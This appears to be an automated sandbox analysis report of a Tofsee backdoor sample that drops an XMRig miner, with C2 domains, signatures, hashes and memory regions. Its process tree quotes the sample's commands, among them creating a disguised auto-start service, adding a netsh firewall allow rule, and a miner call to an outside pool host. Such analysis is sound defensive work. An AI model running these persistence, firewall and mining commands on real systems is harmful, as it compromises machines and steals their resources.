Analysis

  • max time kernel
    144s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2023, 18:12

General

  • Target
    file.exe
  • Size 322KB
  • Sample230107-ws6l4aec39
  • SHA256 b3997f58ccfe1128292c85461978da4df1ab5cd720780edb1153a48fa4d2fa17
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4528
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lyxzmjuk\
      2⤵
        PID:4488
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iudrqmva.exe" C:\Windows\SysWOW64\lyxzmjuk\
        2⤵
          PID:4904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lyxzmjuk binPath= "C:\Windows\SysWOW64\lyxzmjuk\iudrqmva.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4220
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description lyxzmjuk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:480
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start lyxzmjuk
          2⤵
          • Launches sc.exe
          PID:4660
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1244
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4528 -s 1040
          2⤵
          • Program crash
          PID:4716
      • C:\Windows\SysWOW64\lyxzmjuk\iudrqmva.exe
        C:\Windows\SysWOW64\lyxzmjuk\iudrqmva.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1452
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:32
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1476
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1452 -s 512
          2⤵
          • Program crash
          PID:212
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4528 -ip 4528
        1⤵
          PID:1836
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1452 -ip 1452
          1⤵
            PID:308

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                iudrqmva.exe

                • Path C:\Users\Admin\AppData\Local\Temp\iudrqmva.exe
                • Size 10.4MB
                • SHA256 0e4c53d6da564c6eec2a3a9e352fc3bed8114e5c7b0209c67859ffbc6b76ba99
                • MD5 SHA1 SHA512 SSDEEP

                iudrqmva.exe

                • Path C:\Windows\SysWOW64\lyxzmjuk\iudrqmva.exe
                • Size 10.4MB
                • SHA256 0e4c53d6da564c6eec2a3a9e352fc3bed8114e5c7b0209c67859ffbc6b76ba99
                • MD5 SHA1 SHA512 SSDEEP

                memory/32-167-0x00000000023E0000-0x00000000023E7000-memory.dmp

                memory/32-164-0x0000000007B00000-0x0000000007F0B000-memory.dmp

                memory/32-161-0x00000000023D0000-0x00000000023D5000-memory.dmp

                memory/32-158-0x0000000002380000-0x0000000002390000-memory.dmp

                memory/32-155-0x0000000002370000-0x0000000002376000-memory.dmp

                memory/32-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/32-151-0x0000000000F00000-0x0000000000F15000-memory.dmp

                memory/32-149-0x0000000000F00000-0x0000000000F15000-memory.dmp

                memory/32-145-0x0000000000F00000-0x0000000000F15000-memory.dmp

                memory/1452-148-0x0000000003279000-0x000000000328E000-memory.dmp

                memory/1452-150-0x0000000000400000-0x0000000003013000-memory.dmp

                memory/1476-176-0x0000000000450000-0x0000000000541000-memory.dmp

                memory/1476-172-0x0000000000450000-0x0000000000541000-memory.dmp

                memory/1476-171-0x0000000000451000-0x0000000000522000-memory.dmp

                memory/4528-135-0x0000000000400000-0x0000000003013000-memory.dmp

                memory/4528-133-0x0000000004C10000-0x0000000004C23000-memory.dmp

                memory/4528-143-0x0000000000400000-0x0000000003013000-memory.dmp

                memory/4528-132-0x000000000304D000-0x0000000003063000-memory.dmp